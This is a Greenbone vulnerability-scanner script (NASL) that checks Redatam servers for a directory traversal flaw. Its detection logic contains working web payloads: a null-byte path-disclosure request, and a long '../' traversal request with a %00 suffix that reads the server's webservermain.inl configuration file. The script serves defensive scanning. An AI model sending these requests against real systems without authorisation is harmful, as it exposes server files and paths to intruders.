Redatam Directory Traversal Vulnerability

# SPDX-FileCopyrightText: 2018 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:redatam:redatam";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.141197");
  script_version("2025-03-20T05:38:32+0000");
  script_tag(name:"last_modification", value:"2025-03-20 05:38:32 +0000 (Thu, 20 Mar 2025)");
  script_tag(name:"creation_date", value:"2018-06-19 13:19:44 +0700 (Tue, 19 Jun 2018)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");

  script_tag(name:"qod_type", value:"exploit");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("Redatam Directory Traversal Vulnerability");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2018 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_redatam_detect.nasl");
  script_mandatory_keys("redatam/installed");

  script_tag(name:"summary", value:"Redatam is prone to a directory traversal vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"solution", value:"Update to version 7 or later.");

  script_xref(name:"URL", value:"https://www.exploit-db.com/exploits/44905/");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");

if (!port = get_app_port(cpe: CPE))
  exit(0);

if (!get_app_location(cpe: CPE, port: port, nofork: TRUE))
  exit(0);

# path disclosure
req = http_get(port: port, item: "/redbin/rpwebutilities.exe/text?LFN=dfasff%00.htm&TYPE=TMP");
res = http_keepalive_send_recv(port: port, data: req);

path = eregmatch(pattern: "File not found in folder \[[^\]+([^]]+)", string: res);
if (isnull(path[1]))
  exit(0);

path = str_replace(string: path[1], find: '\\', replace: "/");

url = "/redbin/rpwebutilities.exe/text?LFN=../../../../../../../../../../../../../../../.." + path +
      "prt/webservermain.inl%00.htm&TYPE=TMP";

if (http_vuln_check(port: port, url: url, pattern: "PORTALTITLE=", check_header: TRUE, debug: FALSE)) {
  report = http_report_vuln_url(port: port, url: url);
  security_message(port: port, data: report);
  exit(0);
}

exit(99);